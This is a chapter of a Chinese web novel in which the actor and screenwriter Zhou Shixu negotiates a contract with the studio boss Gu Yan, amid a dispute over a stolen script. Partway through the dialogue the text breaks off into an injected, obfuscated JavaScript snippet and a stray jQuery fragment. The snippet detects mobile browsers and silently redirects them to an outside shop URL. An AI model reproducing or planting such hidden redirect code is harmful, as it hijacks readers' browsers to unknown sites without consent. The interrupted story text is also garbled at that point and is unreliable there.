高楼水泥在日光下泛着冷硬的灰，周时序仰头看向寰宇影视总部大楼的玻璃幕墙。光从高处反射下来，扎进眼睛里，有点疼。
他今天是赌上了所有来这里的。
耀星的解约声明还挂在热搜高位下不来，商务资源断得干干净净。
《云端筑梦师》的版权归属像一把悬在头顶的刀，程砚秋等着他跪回去。
行业内敢跟耀星掰手腕的公司屈指可数，寰宇是唯一的选择，也是最后一根稻草。
如果连这里都推不开门，他就真的没有路了。
指甲掐进掌心里，留下深深的痕迹。他松开手，深吸一口气，推门走进旋转门。
总部大堂空旷而冷清，前台看到他时眼神明显顿了一瞬，随即低头拨通内线电话。
秘书很快出现，领着周时序穿过开放式办公区。
一路走过来，侧目与窃窃私语如影随形。
“那不是周时序吗？还敢来寰宇？”
“《云端筑梦师》的事闹得那么大，顾总不会给他好脸吧。”
“听说耀星那边放话了，谁接他就是在打耀星的脸。”
“……也是，顾总什么人没见过。”
耳边充斥着或怜悯或幸灾乐祸的议论声，丝毫不避讳他。
周时序面色不动，脚步没顿，后背紧绷成了一根弦。
电梯在高层停下。
秘书轻轻叩门后退开，侧身做了个“请”的手势，然后等他进去后，在他身后安静将门合上。
办公室很大，落地窗前是整个城市的剪影。
顾宴坐在办公桌后面，穿一件深灰衬衫，袖口整齐地卷到小臂中段，露出一截腕骨和一支钢笔。
他没有抬头，笔尖在文件上匀速移动，偶尔停顿，直接无视了周时序。
周时序站在桌前，保持着站姿，没有动。
沉默开始蔓延。一秒，五秒，十秒。
顾宴是故意的，毕竟主动权在他。
周时序不由暗暗攥紧了手。
办公室一时间落针可闻，气氛压抑到了极点。
签完手头的文件，顾宴终于舍得抬起头来。
他扶了扶鼻梁上的眼镜框，精明的眼射向周时序，像要将他无所遁形看透。
周时序倒是比他想象中更能沉得住气，丝毫没有慌乱和急着找下家的狼狈。
他挑了挑眉，眼神中带了丝意外。
“周先生。”
顾宴合上手中的文件，开口：“你应该知道，现在整个行业都在看你的笑话。”
他勾了勾唇，出口的话语带着分量：“耀星解约，商务资源断裂，你凭什么认为寰宇会答应签你？”
话毕，他将自己靠在椅背上，眼神直视周时序。
“凭寰宇不该跟耀星吃同一个亏。”周时序接住这句话，语气没有起伏，“偷来的剧本版权，耀星拿它当筹码跟寰宇谈投资。寰宇如果装不知道，才是个更大的笑话。”
顾宴挑了挑眉，指尖的钢笔停住了。
他直起身，笔帽重新扣上笔杆，又拔开，动作不急，甚至有些慢条斯理的随意，只是看周时序的眼神变了。
他沉着眉眼，语速放缓：“我可以不在乎《云端筑梦师》是谁写的。”他道，“如果它真有争议，寰宇会起诉你。我看中的是它的商业价值，仅此而已。”
这句话像一盆冷水兜头浇下来。
周时序的心往下沉了一截。他原以为顾宴至少会表现出一点对原作者的尊重，但没有。这个人眼里只有账本上的数字，跟程砚秋没有本质区别。
愤怒来得又急又猛，喉头像被人攥了一把。他盯着顾宴，声音压不住地拔高了几分：“哪怕你明知道那是我一个字一个字写出来的？哪怕版权争议会拖垮你所谓的商业价值？”
顾宴没动。镜片后的眼睛看着他，像在看一场表演。
周时序意识到自己失态了。掌心的汗黏在裤缝上，他用力攥了一下拳头，把那股火压回去。但话已经出口，收不回来了。
“骂完了？”顾宴忽然笑了一下。
周时序愣住。
顾宴把钢笔往桌上一丢，笔身撞在实木桌面上，发出一声清脆的响。“实话告诉你，我本来就不打算碰任何有版权瑕疵的项目。《云端筑梦师》的投资，我会撤。”
周时序的呼吸停了一拍。
“刚才那些话，”顾宴靠回椅背，双手环胸，“不过是试探你。”
试探他是不是原作者。试探他愿不愿意为那个剧本拼命。试探他有没有底气在谈判桌上不露怯罢了。
冷汗从后脊渗出来，贴着衬衫凉成一片。周时序喉结动了动，没说话。
“现在，”顾宴点了一下桌面的文件，“聊聊签约的事。这才是你今天来的目的，对吧？”
周时序一时压力陡增，尤其在知道寰宇其实对他并没有恶意后。
既然顾宴这样说了，就是今日他其实有机会说服顾宴签下他。
他深吸一口气，开口道：“寰宇一直缺少真正能代表公司的年轻核心创作者。”
“这些年影视市场竞争越来越激烈，靠单纯购买IP和流量明星，已经不够了。”
周时序停顿了一下。
“你也看到了，《云端筑梦师》是我的作品，而你欣赏它，我是否可以认为你也间接欣赏过我？我能提供这种原创能力。”
顾宴轻笑了笑：“但首先，你是个艺人，其次，你才是个编剧。你凭什么认为，我需要签一个边界模糊的人？”
周时序突然没说话了，他静静看向顾宴。
这个问题归根结底，其实与当初他会主动靠近姜迟是同一个原因。
因为梦想，因为……
“我不想再当一个流量明星。”周时序突然开口，声音很轻，却异常坚定。
“流量会过去，热度会消失。如果一个演员只能依靠资本给予的曝光和资源，那么一旦资本放弃他，他什么都不是。”
顾宴看着他，没有打断。
周时序垂下眼眸，像是在剖开自己过去一直不愿面对的东西。
“我想成为一个真正拥有作品的人。”
“不是靠热搜证明自己，不是靠粉丝数量证明价值。”
“我想让别人记住我的时候，想到的是我的角色，我写出的故事，我参与创造的一切。”
“演员也好，编剧也好……”
他停顿了一下。
“我想走的是一条属于创作者的路。”
他说：“而寰宇需要创作者。”
办公室里安静了很久。
顾宴看着眼前的人。
他忽然明白了。
为什么耀星想要死死抓住周时序。
因为这个人最可怕的地方，不是拥有流量。
而是他有从流量中脱离出来的能力。
很多艺人红了以后，会被市场定义。
他们只能重复过去的成功。
唱类似的歌，演类似的角色，维持类似的人设。
但周时序不一样。
他已经开始试图摆脱这个循环，努力往上跃迁，做回自己。
“你知道吗？”
顾宴靠在椅背上，忽然开口。
“娱乐圈最不缺演员。”
“每年都有新人出现，每年都有所谓的顶流诞生。”
“但是，一个真正懂创作的人，很少。”
顾宴笑了笑，从一旁拿过一份合约。
合约的封面是寰宇标准的深蓝色，右下角压着烫金的公司logo。周时序的目光落在上面，胃里像有什么东西在翻搅。
顾宴的手按在文件边缘，没有立刻松开。
“分成比例，寰宇七你三。”他语气平淡，“前三年所有项目由公司指定，你没有选角权。至于剧本创作——”
周时序眉心一跳：“不行。”
“哦？”
“分成可以谈，但选角权必须保留。我是演员，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764868|207231||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我知道什么角色适合我。”周时序往前倾了倾身，“如果我被硬塞进一个完全不合适的项目里，浪费的是寰宇的投资。”
顾宴的指尖在桌面上敲了两下：“继续。”
“我写了剧本，版权必须归我。寰宇可以享有优先投资权和改编权，但原始著作权不能让渡。”周时序一字一字地说，“我不可能再让任何人拿走我的东西。”
顾宴眯了眯眼。
“你要求的太多了。”
“我给出的也足够多。”周时序不退，“一个自带编剧能力和流量基础的艺人，整个行业找不到第二个。寰宇买的是我的复合价值，不单单只是一个艺人。”
顾宴沉默了一阵。桌面上那支钢笔被他重新拿起来，在指间慢慢转了一圈。
“四六。”顾宴最终说，“选角权给你，但必须经过公司风险评估。剧本版权归你，寰宇享有永久优先投资权。”
周时序的喉结上下滚了一下。
这个条件比他预想的好。
“签吧。”顾宴把文件彻底推过来，“我给你这个证明自己的机会。”
周时序弯腰拿起笔，笔帽拔开的瞬间，指尖是微颤的。他按在签名栏上方停了一秒，用指腹压平纸角，然后落笔。
“谢谢顾总。”他说这话的时候声音又干又哑。
顾宴收回文件，扫了一眼签名：“别谢得太早。你必须用作品证明自己，我希望我遇到的不是个只会说漂亮话的未来影帝。”
周时序陡然明白，顾宴对他的期待究竟有多高。
周时序看着那份合同，耳边是顾宴略带警告的话语，却知道自己是遇到了好人。
“我会的。”他只是抬手伸到顾宴面前，“合作愉快！”
顾宴握住他的手，淡淡笑了笑。
日光从落地窗外铺进来，在地毯上切出一道明亮的线。
周时序迈着轻快的步伐往外走。
电梯门合上前的最后一秒，他掏出手机拨出一个号码。
响了两声就通了。
“姜迟。”
那头安静了一瞬，然后传来一个压着呼吸的声音：“怎么样？”
周时序靠着电梯壁，看着楼层数字一格一格往下跳。
“签下来了。”
电话那头没出声。但周时序听见一声极轻的抽气，像是一颗巨石终于落了地。
“……好。”姜迟的声音有点抖，“恭喜。”
周时序闭上眼。
电梯在一楼停下，门开了。外面大堂的光涌进来，明亮而刺目。
他没再说别的，只是把手机握得更紧了。
当天晚上。
寰宇影视官博发布了一条消息。
“寰宇影视正式签约演员、编剧周时序。”
没有过多解释。
没有刻意强调舆论。
只是简单的一句话。
却在娱乐圈掀起了巨大的震动。
发布后三分钟内，微博服务器出现了短暂延迟。
热搜榜前三被瞬间替换：#周时序签约寰宇#、#寰宇接手耀星弃将#、#云端筑梦师版权疑云#。
评论区以秒为单位滚动刷新。
吃瓜路人纷纷惊叹：“卧槽？寰宇这不是在公开打耀星的脸？”
粉丝激动到热泪盈眶：“哥哥真的有公司敢接了……我等了半个月啊你们知道这半个月我怎么过的吗……”
甚至有人惊叹：“寰宇承认他的‘编剧’身份，这比签约本身还难。周时序怎么做到的？”
随后，耀星开始下场控评，但风向已经控不住了。
甚至有财经博主暗中分析：“耀星股价尾盘异动，市场对‘版权造假’传闻的敏感度比预期高。耀星这波赔了夫人又折兵。”
而耀星总部会议室内，程砚秋盯着手机屏幕上寰宇那条官宣，面色铁青。他把手机扣在桌上，震得茶杯盖子都跟着跳了一下。
“顾宴……你可真是好样儿的。”